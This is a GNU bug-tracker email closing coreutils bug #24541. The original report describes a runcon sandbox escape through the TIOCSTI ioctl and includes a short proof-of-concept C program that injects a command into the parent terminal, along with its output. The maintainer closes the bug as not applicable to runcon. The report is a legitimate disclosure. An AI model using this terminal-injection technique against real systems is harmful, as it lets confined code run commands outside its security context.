Subject: bug#24541: closed (Re: bug#24541: runcon tty hijacking via TIOCSTI ioctl)

From: [email-masked] (GNU bug Tracking System)
Date: Mon, 26 Sep 2016 15:54:02 +0000

Your bug report

#24541: runcon tty hijacking via TIOCSTI ioctl

which was filed against the coreutils package, has been closed.

The explanation is attached below, along with your original report.
If you require more details, please reply to [email-masked].

-- 
24541: http://debbugs.gnu.org/cgi/bugreport.cgi?bug=24541
GNU Bug Tracking System
Contact [email-masked] with problems

Subject: Re: bug#24541: runcon tty hijacking via TIOCSTI ioctl
From: Paul Eggert <[email-masked]>
To: [email-masked]
Cc: [email-masked], SE-Linux <[email-masked]>
Date: Mon, 26 Sep 2016 08:53:34 -0700
List-Id: <debbugs-submit.debbugs.gnu.org>

> "I don't think we need to fix this for runcon, as it isn't as
> sandboxing tool like sandbox, and the loss of job control would likely
> be much more noticeable for runcon."

Thanks, closing the debbugs bug report.

Subject: runcon tty hijacking via TIOCSTI ioctl
From: [email-masked]
To: [email-masked]
Date: Sun, 25 Sep 2016 13:39:55 +0200
List-Id: <debbugs-submit.debbugs.gnu.org>

When executing a program via the runcon utility, the nonpriv session
can escape to the parent session by using the TIOCSTI ioctl to push
characters into the terminal's input buffer, allowing an attacker to
execute arbitrary commands without the SELinux security context.

$ cat test.c
#include <unistd.h>
#include <sys/ioctl.h>

int main()
{
   char *cmd = "id\n";
   while(*cmd)
    ioctl(0, TIOCSTI, cmd++);
   execlp("/bin/id", "id", NULL);
}
$ gcc test.c -o test
$ runcon -t sandbox_t ./test
id
uid=1000 gid=1000 groups=1000  
context=unconfined_u:unconfined_r:sandbox_t:s0-s0:c0.c1023
$ id   <--- did not type this
uid=1000(saken) gid=1000(saken) groups=1000(saken)
context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

This issue has been recently patched in the SELinux sandbox (CVE-2016-7545):
https://github.com/SELinuxProject/selinux/commit/acca96a135a4d2a028ba9b636886af99c0915379

Thanks,
Federico Bento.

----------------------------------------------------------------
This message was sent using IMP, the Internet Messaging Program.